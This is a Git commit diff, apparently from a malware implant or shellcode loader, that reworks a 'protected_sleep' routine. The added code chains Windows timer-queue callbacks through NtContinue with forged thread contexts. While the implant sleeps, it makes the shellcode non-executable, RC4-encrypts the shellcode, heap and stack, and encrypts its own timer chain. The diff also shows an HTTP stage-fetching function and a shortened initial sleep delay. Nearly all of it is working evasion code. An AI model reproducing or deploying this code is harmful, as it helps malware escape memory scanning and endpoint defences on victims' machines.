Refactor protected_sleep for enhanced security

Refactor protected_sleep function with enhanced encryption and decryption processes for shellcode, heap, and stack. Update timer chain logic to improve security and maintainability.
This commit is contained in:
0xROOTPLS
2025-12-13 13:26:15 -05:00
committed by GitHub
parent 90c1e5a751
commit 6736154d3d
+235 -116
View File
@@ -137,6 +137,22 @@ FUNC PPEB GetPEB(void) {
return (PPEB)value;
}
/* Get pointer to TEB (Thread Environment Block) */
FUNC PVOID GetTEB(void) {
uint64_t value = 0;
__asm__ volatile("movq %%gs:%1, %0" : "=r"(value) : "m"(*(uint64_t *)0x30) :);
return (PVOID)value;
}
/* Get current thread's stack bounds from TEB */
FUNC void GetStackBounds(PVOID *stack_base, PVOID *stack_limit) {
PVOID teb = GetTEB();
/* TEB->NtTib.StackBase at offset 0x08 */
/* TEB->NtTib.StackLimit at offset 0x10 */
*stack_base = *(PVOID *)((char *)teb + 0x08);
*stack_limit = *(PVOID *)((char *)teb + 0x10);
}
/* LDR_DATA_TABLE_ENTRY structure */
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
@@ -272,197 +288,300 @@ FUNC int http_get_stage(ApiFunctions *api, HINTERNET hConnect, PVOID *out_buffer
}
/*
* Ekko-esque sleep obfuscation
* Timer chain:
* Ekko-style sleep obfuscation with encrypted timer chain
*
* Timer chain data is split into:
* - Header (unencrypted): Timer 0 context + chain key/descriptor
* - Body (encrypted): All other contexts, USTRINGs, main key
*
* Timer 0 decrypts the body before other timers fire.
* During sleep, only Timer 0's CONTEXT and chain key are exposed.
*
* Timer chain (11 steps):
* 0. SystemFunction032 - decrypt timer chain body
* 1. VirtualProtect(RW) - make shellcode non-executable
* 2. SystemFunction032 - encrypt shellcode with RC4
* 3. WaitForSingleObject - sleep (on unsignalable handle)
* 4. SystemFunction032 - decrypt shellcode (RC4 is symmetric)
* 5. VirtualProtect(RX) - restore execute permission
* 6. SetEvent - wake main thread
* 3. SystemFunction032 - encrypt heap
* 4. SystemFunction032 - encrypt stack
* 5. WaitForSingleObject - sleep (on unsignalable handle)
* 6. SystemFunction032 - decrypt stack
* 7. SystemFunction032 - decrypt heap
* 8. SystemFunction032 - decrypt shellcode
* 9. VirtualProtect(RX) - restore execute permission
* 10. SetEvent - wake main thread
*/
#define WT_EXECUTEINTIMERTHREAD 0x00000020
/* Timer chain body - this portion gets encrypted */
typedef struct _TIMER_CHAIN_BODY {
/* Captured timer thread context */
CONTEXT CtxThread;
/* ROP contexts for steps 1-10 */
CONTEXT RopProtRW; /* 1. VirtualProtect RW */
CONTEXT RopMemEnc; /* 2. Encrypt shellcode */
CONTEXT RopHeapEnc; /* 3. Encrypt heap */
CONTEXT RopStackEnc; /* 4. Encrypt stack */
CONTEXT RopDelay; /* 5. Sleep */
CONTEXT RopStackDec; /* 6. Decrypt stack */
CONTEXT RopHeapDec; /* 7. Decrypt heap */
CONTEXT RopMemDec; /* 8. Decrypt shellcode */
CONTEXT RopProtRX; /* 9. VirtualProtect RX */
CONTEXT RopSetEvt; /* 10. SetEvent */
/* USTRING descriptors for main encryption */
USTRING Key;
USTRING Img;
USTRING Heap;
USTRING Stack;
/* Main RC4 key buffer (Key A) */
char KeyBuf[16];
/* OldProtect for VirtualProtect */
DWORD OldProtect;
} TIMER_CHAIN_BODY, *PTIMER_CHAIN_BODY;
/* Timer chain header - remains unencrypted (minimal exposure) */
typedef struct _TIMER_CHAIN_HEADER {
/* Timer 0: decrypts the body */
CONTEXT RopDecryptChain;
/* Descriptor for encrypted body */
USTRING BodyDesc;
/* Chain decryption key (Key B - different from main key) */
USTRING ChainKey;
char ChainKeyBuf[16];
} TIMER_CHAIN_HEADER, *PTIMER_CHAIN_HEADER;
/* Full timer chain data structure */
typedef struct _TIMER_CHAIN_DATA {
TIMER_CHAIN_HEADER hdr; /* Unencrypted */
TIMER_CHAIN_BODY body; /* Encrypted during sleep */
} TIMER_CHAIN_DATA, *PTIMER_CHAIN_DATA;
FUNC void protected_sleep(ApiFunctions *api, DWORD sleep_ms, PVOID shellcode_base, DWORD shellcode_size,
PVOID heap_base, DWORD heap_size) {
HANDLE hEvent = api->CreateEventW(NULL, FALSE, FALSE, NULL);
if (!hEvent) __asm__("int3"); /* Crash - no fallback */
if (!hEvent) __asm__("int3");
HANDLE hTimerQueue = api->CreateTimerQueue();
if (!hTimerQueue) __asm__("int3"); /* Crash - no fallback */
if (!hTimerQueue) __asm__("int3");
DWORD OldProtect = 0;
/* Allocate timer chain data on heap */
PTIMER_CHAIN_DATA tcd = (PTIMER_CHAIN_DATA)api->VirtualAlloc(
NULL, sizeof(TIMER_CHAIN_DATA), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!tcd) __asm__("int3");
/* RC4 key for encryption, you can change this to whatever */
char KeyBuf[16] = {0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55};
USTRING Key;
Key.Buffer = KeyBuf;
Key.Length = 16;
Key.MaximumLength = 16;
my_memset(tcd, 0, sizeof(TIMER_CHAIN_DATA));
/* Image data to encrypt (shellcode) */
USTRING Img;
Img.Buffer = shellcode_base;
Img.Length = shellcode_size;
Img.MaximumLength = shellcode_size;
/* Set up chain decryption key (Key B) - different from main key */
for (int i = 0; i < 16; i++) tcd->hdr.ChainKeyBuf[i] = 0xAA;
tcd->hdr.ChainKey.Buffer = tcd->hdr.ChainKeyBuf;
tcd->hdr.ChainKey.Length = 16;
tcd->hdr.ChainKey.MaximumLength = 16;
/* Heap data to encrypt */
USTRING Heap;
Heap.Buffer = heap_base;
Heap.Length = heap_size;
Heap.MaximumLength = heap_size;
/* Set up body descriptor - points to the encrypted portion */
tcd->hdr.BodyDesc.Buffer = &tcd->body;
tcd->hdr.BodyDesc.Length = sizeof(TIMER_CHAIN_BODY);
tcd->hdr.BodyDesc.MaximumLength = sizeof(TIMER_CHAIN_BODY);
/* Set up main RC4 key (Key A) in body */
for (int i = 0; i < 16; i++) tcd->body.KeyBuf[i] = 0x55;
tcd->body.Key.Buffer = tcd->body.KeyBuf;
tcd->body.Key.Length = 16;
tcd->body.Key.MaximumLength = 16;
/* Image data descriptor (shellcode) */
tcd->body.Img.Buffer = shellcode_base;
tcd->body.Img.Length = shellcode_size;
tcd->body.Img.MaximumLength = shellcode_size;
/* Heap data descriptor */
tcd->body.Heap.Buffer = heap_base;
tcd->body.Heap.Length = heap_size;
tcd->body.Heap.MaximumLength = heap_size;
/* Stack data descriptor - get bounds from TEB */
PVOID stack_base, stack_limit;
GetStackBounds(&stack_base, &stack_limit);
DWORD stack_size = (DWORD)((SIZE_T)stack_base - (SIZE_T)stack_limit);
tcd->body.Stack.Buffer = stack_limit;
tcd->body.Stack.Length = stack_size;
tcd->body.Stack.MaximumLength = stack_size;
/* Capture context from timer thread */
CONTEXT CtxThread;
my_memset(&CtxThread, 0, sizeof(CONTEXT));
HANDLE hTimer = NULL;
api->CreateTimerQueueTimer(
&hTimer,
hTimerQueue,
&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->RtlCaptureContext,
&CtxThread,
0, /* Fire immediately */
0, /* No repeat */
WT_EXECUTEINTIMERTHREAD
&tcd->body.CtxThread,
0, 0, WT_EXECUTEINTIMERTHREAD
);
/* Wait for RtlCaptureContext to run */
api->Sleep(100);
/* Verify we got a valid context (Rip should be non-zero) */
if (CtxThread.Rip == 0) __asm__("int3"); /* Crash */
if (tcd->body.CtxThread.Rip == 0) __asm__("int3");
/* Build ROP contexts in body */
/* 1. VirtualProtect(shellcode_base, size, PAGE_READWRITE, &OldProtect) */
CONTEXT RopProtRW;
my_memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD64)api->VirtualProtect;
RopProtRW.Rcx = (DWORD64)shellcode_base;
RopProtRW.Rdx = (DWORD64)shellcode_size;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = (DWORD64)&OldProtect;
my_memcpy(&tcd->body.RopProtRW, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopProtRW.Rsp -= 8;
tcd->body.RopProtRW.Rip = (DWORD64)api->VirtualProtect;
tcd->body.RopProtRW.Rcx = (DWORD64)shellcode_base;
tcd->body.RopProtRW.Rdx = (DWORD64)shellcode_size;
tcd->body.RopProtRW.R8 = PAGE_READWRITE;
tcd->body.RopProtRW.R9 = (DWORD64)&tcd->body.OldProtect;
/* 2. SystemFunction032(&Img, &Key) - encrypt shellcode */
CONTEXT RopMemEnc;
my_memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = (DWORD64)api->SystemFunction032;
RopMemEnc.Rcx = (DWORD64)&Img;
RopMemEnc.Rdx = (DWORD64)&Key;
my_memcpy(&tcd->body.RopMemEnc, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopMemEnc.Rsp -= 8;
tcd->body.RopMemEnc.Rip = (DWORD64)api->SystemFunction032;
tcd->body.RopMemEnc.Rcx = (DWORD64)&tcd->body.Img;
tcd->body.RopMemEnc.Rdx = (DWORD64)&tcd->body.Key;
/* 3. SystemFunction032(&Heap, &Key) - encrypt heap */
CONTEXT RopHeapEnc;
my_memcpy(&RopHeapEnc, &CtxThread, sizeof(CONTEXT));
RopHeapEnc.Rsp -= 8;
RopHeapEnc.Rip = (DWORD64)api->SystemFunction032;
RopHeapEnc.Rcx = (DWORD64)&Heap;
RopHeapEnc.Rdx = (DWORD64)&Key;
my_memcpy(&tcd->body.RopHeapEnc, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopHeapEnc.Rsp -= 8;
tcd->body.RopHeapEnc.Rip = (DWORD64)api->SystemFunction032;
tcd->body.RopHeapEnc.Rcx = (DWORD64)&tcd->body.Heap;
tcd->body.RopHeapEnc.Rdx = (DWORD64)&tcd->body.Key;
/* 4. WaitForSingleObject(NtCurrentProcess(), sleep_ms) */
CONTEXT RopDelay;
my_memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
RopDelay.Rsp -= 8;
RopDelay.Rip = (DWORD64)api->WaitForSingleObject;
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
RopDelay.Rdx = (DWORD64)sleep_ms;
/* 4. SystemFunction032(&Stack, &Key) - encrypt stack */
my_memcpy(&tcd->body.RopStackEnc, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopStackEnc.Rsp -= 8;
tcd->body.RopStackEnc.Rip = (DWORD64)api->SystemFunction032;
tcd->body.RopStackEnc.Rcx = (DWORD64)&tcd->body.Stack;
tcd->body.RopStackEnc.Rdx = (DWORD64)&tcd->body.Key;
/* 5. SystemFunction032(&Heap, &Key) - decrypt heap */
CONTEXT RopHeapDec;
my_memcpy(&RopHeapDec, &CtxThread, sizeof(CONTEXT));
RopHeapDec.Rsp -= 8;
RopHeapDec.Rip = (DWORD64)api->SystemFunction032;
RopHeapDec.Rcx = (DWORD64)&Heap;
RopHeapDec.Rdx = (DWORD64)&Key;
/* 5. WaitForSingleObject(NtCurrentProcess(), sleep_ms) */
my_memcpy(&tcd->body.RopDelay, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopDelay.Rsp -= 8;
tcd->body.RopDelay.Rip = (DWORD64)api->WaitForSingleObject;
tcd->body.RopDelay.Rcx = (DWORD64)NtCurrentProcess();
tcd->body.RopDelay.Rdx = (DWORD64)sleep_ms;
/* 6. SystemFunction032(&Img, &Key) - decrypt shellcode (RC4 symmetric) */
CONTEXT RopMemDec;
my_memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
RopMemDec.Rsp -= 8;
RopMemDec.Rip = (DWORD64)api->SystemFunction032;
RopMemDec.Rcx = (DWORD64)&Img;
RopMemDec.Rdx = (DWORD64)&Key;
/* 6. SystemFunction032(&Stack, &Key) - decrypt stack */
my_memcpy(&tcd->body.RopStackDec, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopStackDec.Rsp -= 8;
tcd->body.RopStackDec.Rip = (DWORD64)api->SystemFunction032;
tcd->body.RopStackDec.Rcx = (DWORD64)&tcd->body.Stack;
tcd->body.RopStackDec.Rdx = (DWORD64)&tcd->body.Key;
/* 7. VirtualProtect(shellcode_base, size, PAGE_EXECUTE_READWRITE, &OldProtect) */
CONTEXT RopProtRX;
my_memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD64)api->VirtualProtect;
RopProtRX.Rcx = (DWORD64)shellcode_base;
RopProtRX.Rdx = (DWORD64)shellcode_size;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = (DWORD64)&OldProtect;
/* 7. SystemFunction032(&Heap, &Key) - decrypt heap */
my_memcpy(&tcd->body.RopHeapDec, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopHeapDec.Rsp -= 8;
tcd->body.RopHeapDec.Rip = (DWORD64)api->SystemFunction032;
tcd->body.RopHeapDec.Rcx = (DWORD64)&tcd->body.Heap;
tcd->body.RopHeapDec.Rdx = (DWORD64)&tcd->body.Key;
/* 8. SetEvent(hEvent) */
CONTEXT RopSetEvt;
my_memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD64)api->SetEvent;
RopSetEvt.Rcx = (DWORD64)hEvent;
/* 8. SystemFunction032(&Img, &Key) - decrypt shellcode */
my_memcpy(&tcd->body.RopMemDec, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopMemDec.Rsp -= 8;
tcd->body.RopMemDec.Rip = (DWORD64)api->SystemFunction032;
tcd->body.RopMemDec.Rcx = (DWORD64)&tcd->body.Img;
tcd->body.RopMemDec.Rdx = (DWORD64)&tcd->body.Key;
/* Queue timers - full 8-step chain with shellcode + heap encryption */
/* All timers MUST succeed - no fallback allowed */
/* 9. VirtualProtect(shellcode_base, size, PAGE_EXECUTE_READWRITE, &OldProtect) */
my_memcpy(&tcd->body.RopProtRX, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopProtRX.Rsp -= 8;
tcd->body.RopProtRX.Rip = (DWORD64)api->VirtualProtect;
tcd->body.RopProtRX.Rcx = (DWORD64)shellcode_base;
tcd->body.RopProtRX.Rdx = (DWORD64)shellcode_size;
tcd->body.RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
tcd->body.RopProtRX.R9 = (DWORD64)&tcd->body.OldProtect;
/* 10. SetEvent(hEvent) */
my_memcpy(&tcd->body.RopSetEvt, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->body.RopSetEvt.Rsp -= 8;
tcd->body.RopSetEvt.Rip = (DWORD64)api->SetEvent;
tcd->body.RopSetEvt.Rcx = (DWORD64)hEvent;
/* Build Timer 0 context (in header) - decrypts the body */
my_memcpy(&tcd->hdr.RopDecryptChain, &tcd->body.CtxThread, sizeof(CONTEXT));
tcd->hdr.RopDecryptChain.Rsp -= 8;
tcd->hdr.RopDecryptChain.Rip = (DWORD64)api->SystemFunction032;
tcd->hdr.RopDecryptChain.Rcx = (DWORD64)&tcd->hdr.BodyDesc;
tcd->hdr.RopDecryptChain.Rdx = (DWORD64)&tcd->hdr.ChainKey;
/* Queue ALL 11 timers BEFORE encrypting body */
BOOL ok;
/* 1. VirtualProtect(RW) - make shellcode writable */
/* Timer 0: Decrypt chain body */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRW,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->hdr.RopDecryptChain,
100, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 2. SystemFunction032 - encrypt shellcode */
/* Timer 1: VirtualProtect RW */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemEnc,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopProtRW,
200, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 3. SystemFunction032 - encrypt heap */
/* Timer 2: Encrypt shellcode */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapEnc,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopMemEnc,
300, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 4. WaitForSingleObject - sleep delay */
/* Timer 3: Encrypt heap */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopDelay,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopHeapEnc,
400, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 5. SystemFunction032 - decrypt heap */
/* Timer 4: Encrypt stack */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapDec,
500 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopStackEnc,
500, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 6. SystemFunction032 - decrypt shellcode */
/* Timer 5: Sleep delay */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemDec,
600 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopDelay,
600, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 7. VirtualProtect(RX) - restore execute permission */
/* Timer 6: Decrypt stack */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRX,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopStackDec,
700 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* 8. SetEvent - wake main thread */
/* Timer 7: Decrypt heap */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &RopSetEvt,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopHeapDec,
800 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* Timer 8: Decrypt shellcode */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopMemDec,
900 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* Timer 9: VirtualProtect RX */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopProtRX,
1000 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* Timer 10: SetEvent */
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopSetEvt,
1100 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
if (!ok) __asm__("int3");
/* NOW encrypt the body - timers are already queued */
api->SystemFunction032(&tcd->hdr.BodyDesc, &tcd->hdr.ChainKey);
/* Wait for the chain to complete */
api->WaitForSingleObject(hEvent, INFINITE);
/* Clean up */
api->DeleteTimerQueue(hTimerQueue);
api->CloseHandle(hEvent);
api->VirtualFree(tcd, 0, MEM_RELEASE);
}
/* Initial sleep delay in ms (5 min) */
#define INITIAL_SLEEP_MS 300000
#define INITIAL_SLEEP_MS 5000
/* Entry point - loader passes shellcode base and size */
int start(PVOID shellcode_base, DWORD shellcode_size) {